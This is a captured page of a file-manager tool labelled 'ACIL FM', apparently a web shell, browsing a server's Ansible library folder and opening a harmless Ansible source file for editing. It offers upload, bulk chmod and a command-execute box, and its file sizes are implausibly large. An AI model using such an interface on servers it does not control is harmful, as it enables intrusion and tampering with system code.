ACIL FM
Dark
Refresh
Current DIR:
/usr/lib/python3.9/site-packages/ansible/executor
/
usr
lib
python3.9
site-packages
ansible
executor
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
discovery
-
chmod
Open
Rename
Delete
powershell
-
chmod
Open
Rename
Delete
process
-
chmod
Open
Rename
Delete
__pycache__
-
chmod
Open
Rename
Delete
action_write_locks.py
1.96 MB
chmod
View
DL
Edit
Rename
Delete
interpreter_discovery.py
9.69 MB
chmod
View
DL
Edit
Rename
Delete
module_common.py
64.28 MB
chmod
View
DL
Edit
Rename
Delete
playbook_executor.py
14.72 MB
chmod
View
DL
Edit
Rename
Delete
play_iterator.py
30.29 MB
chmod
View
DL
Edit
Rename
Delete
stats.py
3.19 MB
chmod
View
DL
Edit
Rename
Delete
task_executor.py
57.12 MB
chmod
View
DL
Edit
Rename
Delete
task_queue_manager.py
17.94 MB
chmod
View
DL
Edit
Rename
Delete
task_result.py
5.61 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
833 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/lib/python3.9/site-packages/ansible/executor/action_write_locks.py
# (c) 2016 - Red Hat, Inc. <info@ansible.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type import multiprocessing.synchronize from multiprocessing import Lock from ansible.module_utils.facts.system.pkg_mgr import PKG_MGRS if 'action_write_locks' not in globals(): # Do not initialize this more than once because it seems to bash # the existing one. multiprocessing must be reloading the module # when it forks? action_write_locks = dict() # type: dict[str | None, multiprocessing.synchronize.Lock] # Below is a Lock for use when we weren't expecting a named module. It gets used when an action # plugin invokes a module whose name does not match with the action's name. Slightly less # efficient as all processes with unexpected module names will wait on this lock action_write_locks[None] = Lock() # These plugins are known to be called directly by action plugins with names differing from the # action plugin name. We precreate them here as an optimization. # If a list of service managers is created in the future we can do the same for them. mods = set(p['name'] for p in PKG_MGRS) mods.update(('copy', 'file', 'setup', 'slurp', 'stat')) for mod_name in mods: action_write_locks[mod_name] = Lock()
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply